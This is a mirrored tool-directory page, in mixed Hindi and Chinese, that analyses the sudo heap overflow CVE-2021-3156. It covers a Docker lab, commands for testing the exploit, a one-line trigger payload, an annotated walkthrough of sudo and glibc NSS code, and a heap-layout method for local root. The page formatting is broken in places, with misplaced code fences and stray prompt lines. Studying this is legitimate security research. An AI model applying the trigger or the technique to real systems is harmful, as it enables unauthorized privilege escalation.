Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-3156 — CVE-2021-3156 POC और Docker और विश्लेषण लेख | Kitploit
उपकरण/GitHubGitHub/chenaotian/cve-2021-3156
विशेषाधिकार वृद्धिभेद्यता विश्लेषणकोड विश्लेषणशोषणरिवर्स इंजीनियरिंगडीबगर्सफज़िंगपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
11244 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156 POC और Docker और विश्लेषण लेख

रिपॉजिटरी देखें

CVE-2021-3156

[toc]

भेद्यता परिचय

भेद्यता संख्या: CVE-2021-3156

भेद्यता स्कोर:

प्रभावित उत्पाद: linux sudo

प्रभावित दायरा: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

शोषण की शर्तें: linux स्थानीय; sudo suid है और चलाया जा सकता है

शोषण प्रभाव: स्थानीय विशेषाधिकार वृद्धि

स्रोत कोड प्राप्ति: https://www.sudo.ws/getting/source/

वातावरण सेटअप

docker वातावरण: chenaotian/cve-2021-3156

मैंने स्वयं docker बनाया है, जिसमें निम्नलिखित उपलब्ध हैं:

  1. स्वयं संकलित, स्रोत-डिबग करने योग्य sudo
  2. डिबग प्रतीकों के साथ glibc
  3. gdb और gdb प्लगइन pwngdb & pwndbg
  4. exp.c और इसका सफलतापूर्वक संकलित exp

सब कुछ /root निर्देशिका में है:

image-20220124223312224

  • exp निर्देशिका वह निर्देशिका है जहाँ exp कोड और संकलित exp स्थित हैं, इसे सीधे इस docker में चलाया जा सकता है
  • glibc-2.27 इस वातावरण में libc संस्करण की स्रोत निर्देशिका है
  • sudo-1.8.21 इस वातावरण में sudo की स्रोत निर्देशिका है, मैंने इसी का उपयोग करके संकलन किया है।

exp का परीक्षण:``` cd exp su test ./exp whoami

root@kitploit:~
डिबगिंग से संबंधित सामग्री के लिए आगे [कुछ डिबगिंग कमांड](#一些调试命令) देखें


## भेद्यता सिद्धांत

भेद्यता ट्रिगर करने वाला payload```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

स्रोत कोड विश्लेषण (sudo-1.8.21): सबसे पहले sudo.c में main फ़ंक्शन (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

root@kitploit:~
··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

root@kitploit:~
- सबसे पहले parse_args फ़ंक्शन को कॉल करके हमारे द्वारा इनपुट किए गए पैरामीटरों को प्रोसेस करते हैं, दरअसल यहाँ हमने केवल एक `-s` इनपुट किया है, सेट करने के लिए कुछ खास नहीं है, sudo_mode को MODE_EDIT और MODE_SHELL पर सेट करते हैं।

- फिर sudo_mode के अंतर के अनुसार, MODE_EDIT policy_check को कॉल करता है

अब sudo.c में policy_check फ़ंक्शन (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

कॉलबैक फ़ंक्शन plugin->u.policy->check_policy को कॉल किया गया, डिबग करके इस फ़ंक्शन के वास्तविक फ़ंक्शन को देखा जा सकता है:

image-20220123113326096

यह policy.c में स्थित sudoers_policy_check फ़ंक्शन को कॉल करता है (policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

root@kitploit:~
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

root@kitploit:~
फिर sudoers.c में sudoers_policy_main फ़ंक्शन को कॉल किया गया (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

यहाँ कुछ ग्लोबल वेरिएबल सेट किए गए हैं, NewArgc और NewArgv नीचे दिए गए हैं, वास्तव में ये पास किए गए पैरामीटर हैं।

image-20220123113819116

इसके बाद sudoers.c में set_cmnd फ़ंक्शन में प्रवेश करें (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···

root@kitploit:~
/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

root@kitploit:~
溢出也发生在这里,根据代码中的注释可以看出,堆溢出发生在向堆中拷贝时,这段代码的原意不难理解就是将NewArgv中的所有参数都拷贝到堆中,空格分割,遇到`\+非空格类字符` 则只拷贝该字符。

**但它没有考虑到一种情况就是,某个NewArgv元素是以`\` 结尾,那么就是`\+\x00` 这种结构,而`\x00` 是不属于空格类字符的(离谱),也就是说,它会将`\x00` 拷贝到堆中之后,from 变量再 ++ (一个循环中加了两次)直接过了while 判断结束标记`\x00` 的机会,而认为参数没有拷贝完而继续向后拷贝,直到遇到下一个`\x00` 为止。**

在该场景下可以看到 `\+\x00` 后面紧跟着就是下一个参数 `A*80` 所以会继续拷贝到`A*80` 的结尾。但别忘了接下来还会继续真正处理`A*80` 这个参数,还会再拷贝一遍,所以这里总共对`A*80` 进行了两次拷贝,但chunk 的申请时按照只有一个 `A*80` 字符串的大小申请的,远远超过了chunk 申请的长度。

image-20220123113907744

然后造成溢出,拷贝前:

image-20220123114036691

拷贝后:

image-20220123114137794

总体漏洞触发路径为(调试的时候直接根据这几个函数下断点即可):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## 漏洞利用原理

参考了 [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156) ,**但他的堆布局方式可遇不可求,这里详细分析了堆布局方法**。通过传入环境变量 `LC_*` 来布局堆,然后让溢出的chunk 正好覆盖到 nss_load_library 函数需要加载so 的结构体 service_user,覆盖该结构体中的so 名字符串,然后让程序加载我们指定的so来完成任意代码执行。

虽然逻辑看起来挺清晰,但需要搞定的细节还是比较麻烦的:

1. nss_load_library 中相关数据结构和机制
2. setlocale 如何通过环境变量`LC_*` 进行堆布局

接下来我们将漏洞发生出可以溢出的chunk 称之为vuln chunk,而将溢出的目标称为target chunk

### nss 原理

首先查看漏洞利用关键代码:

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

ni हीप पर स्थित service_user संरचना है। जब ni->library->lib_handle NULL होता है, तो __libc_dlopen को बुलाकर so लोड किया जाता है। यदि हम ni के हीप ब्लॉक में ओवरफ्लो कर सकते हैं, तो केवल library को 0 से ओवरराइट करना होगा, क्योंकि पहली शाखा में यदि library NULL है, तो इसका मतलब है कि इनिशियलाइज़ नहीं किया गया है, और nss_new_service को library को इनिशियलाइज़ करने के लिए बुलाया जाएगा; अभी-अभी इनिशियलाइज़ किया गया handle निश्चित रूप से NULL होगा।

ठीक है, भेद्यता शोषण के मुख्य ट्रिगर बिंदु को जानने के बाद, आगे nss की कार्यप्रणाली को समझते हैं।

सबसे पहले, /etc/ निर्देशिका में एक फ़ाइल /etc/nsswitch.conf होती है (सामान्य स्थिति में यह ऐसी दिखती है, सभी डिवाइसों में समान नहीं होती):```

/etc/nsswitch.conf

Example configuration of GNU Name Service Switch functionality.

If you have the glibc-doc-reference' and info' packages installed, try:

`info libc "Name Service Switch"' for information about this file.

passwd: compat systemd group: compat systemd shadow: compat gshadow: files

hosts: files dns networks: files

protocols: db files services: db files ethers: db files rpc: db files

netgroup: nis

root@kitploit:~
यह एक कॉन्फ़िगरेशन फ़ाइल है, जिसमें दर्ज इन मार्गों और क्रम (वास्तव में किन so का उपयोग किया जाता है) के माध्यम से विधियों को खोजा जाता है। यह भी निर्दिष्ट किया जा सकता है कि जब कोई विधि सफल होती है या विफल होती है तो सिस्टम क्या कार्रवाई करेगा।

मेरी समझ यह है कि यह निर्धारित करता है कि प्रोग्राम को आवश्यक जानकारी, जैसे उपयोगकर्ता जानकारी, नेटवर्क, पता जानकारी आदि, कहाँ से प्राप्त करनी है। प्रोग्राम में इसका प्रतिनिधित्व यह है कि फ़ंक्शन को किसी भिन्न so से कॉल किया जाता है। विभिन्न so में उस फ़ंक्शन का कार्यान्वयन ही उस जानकारी को प्राप्त करने की विधि है।

अब तीन संरचनाओं (struct) को देखते हैं:```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

एक वैश्विक प्रवेश बिंदु static name_database *service_table; है, फिर __nss_database_lookup फ़ंक्शन में, यदि वैश्विक प्रवेश बिंदु service_table खाली है, तो इनिशियलाइज़ेशन के लिए nss_parse_file को कॉल किया जाएगा। संबंधित कोड इस प्रकार है:

glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }

root@kitploit:~
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

सिद्धांत यह है कि पहली खोज के समय वैश्विक प्रवेश बिंदु service_table खाली पाया जाता है, तो प्रारंभिकरण किया जाता है, जो /etc/nsswitch.conf फ़ाइल में दर्ज सामग्री के अनुसार होता है। अंतिम डेटा संरचना नीचे दिखाई गई है:

image-20220123134155631

यहाँ सभी डेटा संरचनाएँ एक ही फ़ंक्शन में एक बार में आवंटित की जाती हैं, मेरे चित्र में दिए गए क्रम के अनुसार, इसलिए सामान्य स्थिति में, ये सभी chunk आपस में जुड़े होते हैं। और इनका आवंटन vuln chunk से पहले होता है। (डिबग ब्रेकपॉइंट nss_parrse_file)

इसके अलावा, यह ध्यान देने योग्य है कि nss_parse_file फ़ंक्शन में एक __getline फ़ंक्शन है, यह फ़ंक्शन पढ़ी गई सामग्री की लंबाई के आधार पर एक chunk आवंटित करता है, और यह chunk अंत में nss_parse_file फ़ंक्शन के लौटने पर मुक्त (free) कर दिया जाता है। क्योंकि /etc/nsswitch.conf में सामग्री प्रारूप में सबसे लंबी पंक्ति मूल रूप से एक टिप्पणी होती है, और हम उस फ़ाइल को नियंत्रित नहीं कर सकते, इसलिए यहाँ यह माना जा सकता है कि हर बार __getline फ़ंक्शन में आवंटित chunk की लंबाई समान होती है, जो स्थिर रूप से 0x80 आकार की होती है।

इसलिए हम इसे इस प्रकार समझ सकते हैं, यह एक अत्यंत मूल्यवान chunk है जो service लिंक्ड-लिस्ट से पहले आवंटित किया जाता है, और service लिंक्ड-लिस्ट संरचना के आवंटन पूरा होते ही मुक्त (free) कर दिया जाता है, और vuln chunk आवंटित होने से पहले तक free स्थिति में बना रहता है। इस छोटे विवरण को अभी याद रखें (मैंने कई वातावरणों का परीक्षण किया है, अधिकांश वातावरणों में इस विवरण का उपयोग किया जा सकता है)।

तो nss_load_library फ़ंक्शन कब ट्रिगर होता है? डिबग करते समय कॉल स्टैक देख सकते हैं:

image-20220123114256387

कॉल स्टैक के अनुसार, जब होस्ट या उपयोगकर्ता जानकारी खोजने वाले कुछ फ़ंक्शनों को कॉल करने की आवश्यकता होती है, तो कुछ खोज फ़ंक्शन कॉल किए जाते हैं जो संबंधित so में संबंधित फ़ंक्शन को ढूंढकर उसे कॉल करते हैं; संक्षेप में, यह /etc/nsswitch.conf द्वारा उत्पन्न service_table डेटा संरचना है। कोड इस प्रकार है:

glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;

*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)

root@kitploit:~
पहले `__nss_database_lookup` को कॉल करें, पारित किए गए `DATABASE_NAME_STRING` (जिसमें passwd, group, shadow आदि शामिल हैं) के आधार पर संबंधित service खोजें: अर्थात् नीचे दिए गए चित्र में लाल क्षेत्र को खोजकर मेल खाने वाला entry ढूंढें, और service pointer लौटाएँ। यदि यह पहली बार खोज है और सभी entries खाली हैं, तो initialization किया जाएगा (जैसा ऊपर बताया गया है)।

image-20220123133933696

इसके बाद `__nss_lookup` को कॉल करें, जो `__nss_lookup_function` को लूप में कॉल करता है, service सूची के आधार पर संबंधित function वाले service को खोजता है, और फिर `nss_load_library` को कॉल करके so handle प्राप्त करता है, और फिर संबंधित function खोजता है। कोड इस प्रकार है:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···

found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略

else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;

root@kitploit:~
  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

return result; } libc_hidden_def (__nss_lookup_function)

root@kitploit:~
यह देखा जा सकता है कि जब भी libnss_xxx.so के भीतर किसी फ़ंक्शन को कॉल किया जाता है, तो `nss_load_library` का कॉल होना अनिवार्य होता है, भले ही वह so पहले लोड हो चुका हो। इसलिए, ज्ञात exp की सोच के अनुसार, **केवल यह जानना पर्याप्त है कि heap overflow होने के बाद पहला libnss-संबंधित फ़ंक्शन किस so से संबंधित है, और फिर heap layout के माध्यम से उस so से संबंधित `service_user` संरचना को vuln chunk के ठीक पीछे व्यवस्थित करना होगा। लेकिन मेरे कई वातावरणों में किए गए परीक्षणों से पता चला है कि एक ही संस्करण में भी, स्वयं संकलित और वितरण (distro) संस्करणों की कोड संरचनाएँ काफी अलग होती हैं**, इसलिए मैं यहाँ अपने स्वयं के डीबग वातावरण का उपयोग करके पुनः विश्लेषण करके एक exp लिखूँगा।

### डीबग वातावरण पर लौटना

मैंने जो यह डीबग वातावरण (docker) स्वयं बनाया है, वह स्व-संकलित sudo है, जिसमें डीबग प्रतीक (debug symbols) मौजूद हैं, विवरण निम्नलिखित है:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

/etc/nsswitch.conf की सामग्री इस प्रकार है:

image-20220115142452318

यह अभी भी सामान्य से काफी अलग है, इसलिए किसी और का exp सीधे चलाकर सफल होना निश्चित रूप से संभव नहीं होगा। और इसके अलावा, डिबगिंग के बाद, मेरे वातावरण में, हीप ओवरफ्लो के बाद सबसे पहले कॉल होने वाला nss फ़ंक्शन setspent है, जो shadow का एक फ़ंक्शन है, यानी database_entrry3 का service_user, यानी target chunk 7 नंबर chunk है। हम चाहते हैं कि vuln chunk 7 नंबर chunk से पहले आए, और अन्य नंबर वाले chunks उन दोनों के बीच न हों (यानी ओवरफ्लो करते समय service_table संरचना के अन्य chunks खराब न हों)।

image-20220123134335546

आगे, हमें अनिवार्य रूप से यह अध्ययन करना होगा कि एक ही ऑपरेशन में विशेषाधिकार बढ़ाने (privilege escalation) के लिए हीप को कैसे व्यवस्थित किया जाए। यह ज्ञात है कि पर्यावरण चर LC_ALL का उपयोग करके setlocale फ़ंक्शन में हीप लेआउट पूरा किया जाता है। विश्लेषण के बाद, setlocale में बहुत सारे हीप आवंटन और मुक्ति ऑपरेशन होते हैं, इसलिए यहाँ हम उन्हीं हिस्सों पर ध्यान केंद्रित करते हैं जिन्हें हम नियंत्रित कर सकते हैं।

setlocale का उपयोग करके हीप लेआउट करना

संयोग से कंपनी के आंतरिक ब्लॉग पर एक सहकर्मी का विश्लेषण ब्लॉग मिला, जो बहुत मददगार था। चूँकि यह बाहर से एक्सेस नहीं हो सकता, इसलिए उसे यहाँ पोस्ट नहीं कर रहा हूँ।

setlocale की हीप व्यवस्था की कुंजी एक ही वाक्य में है: जिस क्रम में आप chunks को मुक्त करना चाहते हैं, उसी क्रम में उस लंबाई के पर्यावरण चर दर्ज करें। इससे मुक्ति का क्रम और आगे-पीछे का संबंध सुनिश्चित होता है, लेकिन ये chunks परस्पर सटे हुए नहीं होते।

पहले setlocale का स्रोत कोड देखें:

glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;

··· ···

locale_path = NULL; locale_path_len = 0;

··· ···

if (category == LC_ALL) { ··· ··· ··· ··· /* Load the new data for each category. */
while (category-- > 0) if (category != LC_ALL) {//关键处理函数 _nl_find_locale newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);

root@kitploit:~
    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

} libc_hidden_def (setlocale)

root@kitploit:~
`setlocale` फ़ंक्शन कुछ लोकेल (language environment) की गड़बड़ियों से संबंधित है, संबंधित पर्यावरण चर पैरामीटर निम्न प्रकार के हैं:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

प्रस्तुत पैरामीटर category के मान के आधार पर पर्यावरण चरों में संबंधित पैरामीटर खोजकर कार्रवाई की जाती है। sudo में setlocale(LC_ALL,""); का उपयोग किया जाता है। जब पैरामीटर LC_ALL होता है, तो LC_IDENTIFICATION से शुरू करके सभी चरों को आगे की ओर ट्रैवर्स किया जाता है। प्रत्येक के लिए _nl_find_locale फ़ंक्शन कॉल किया जाता है; यह फ़ंक्शन काफी जटिल है, लेकिन लौटाया गया newnames[category] वास्तव में संबंधित पर्यावरण चर का मान होता है, और आगे strdup फ़ंक्शन को कॉल करके उस स्ट्रिंग को हीप में कॉपी किया जाता है। चूँकि इनपुट LC_ALL है, एक संबंधित स्ट्रिंग सरणी उत्पन्न होती है, फिर इसे वैश्विक चर के डिफ़ॉल्ट मान से एक बार सत्यापित किया जाता है; यदि सत्यापन विफल हो जाता है, तो इसे मुक्त कर दिया जाता है (विफल इनपुट बनाना आसान है)।

दूसरे शब्दों में, हम यहां संचालन करके x बार strdup के लिए हीप आवंटन और x बार अभी-अभी आवंटित chunk को free कर सकते हैं। यह काफी सरल लगता है, लेकिन वास्तव में ऐसा नहीं है, क्योंकि इससे पहले _nl_find_locale फ़ंक्शन में बहुत सारे हीप आवंटन और मुक्ति संचालन होते हैं। यहां strdup द्वारा आवंटित chunk मूल रूप से _nl_find_locale फ़ंक्शन में मुक्त किए गए chunk होते हैं। हालांकि हीप शोषण के दृष्टिकोण से आगे विश्लेषण जारी रखना अब बहुत महत्वपूर्ण नहीं है, फिर भी यदि हम हीप को सटीक रूप से व्यवस्थित करना चाहते हैं, या नए वातावरण में स्थितियाँ कठोर हैं, तो _nl_find_locale का विश्लेषण करना आवश्यक है:

glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;

if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···

/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */

mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;

/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);

if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }

··· ···

if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];

root@kitploit:~
  if (locale_file == NULL)
return NULL;
}

··· ··· ··· ···

return (struct __locale_data *) locale_file->data; }

root@kitploit:~
`_nl_find_locale` फ़ंक्शन में, सबसे पहले `_nl_explode_name` फ़ंक्शन को कॉल किया जाता है, जो पर्यावरण चर के मान के आधार पर मास्क (mask) को असाइन करता है (जैसा कि मैंने कोड में टिप्पणी में कहा है)। मुख्य रूप से देखा जाता है कि देश, भाषा और उपयोगकर्ता-परिभाषित सफ़िक्स ये तीन चीज़ें हैं या नहीं; यदि हैं, तो संबंधित मास्क सेट किया जाता है, जिसमें भाषा के लिए दो सेट होते हैं, कुल चार। फिर `_nl_make_l0nflist` फ़ंक्शन को कॉल करने से सीधे `_nl_find_locale` खाली (NULL) लौटाता है, जो उपर्युक्त `setlocale` में लूप के break को ट्रिगर करता है (महत्वपूर्ण)।

अब `_nl_make_l0nflist` फ़ंक्शन देखें:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);
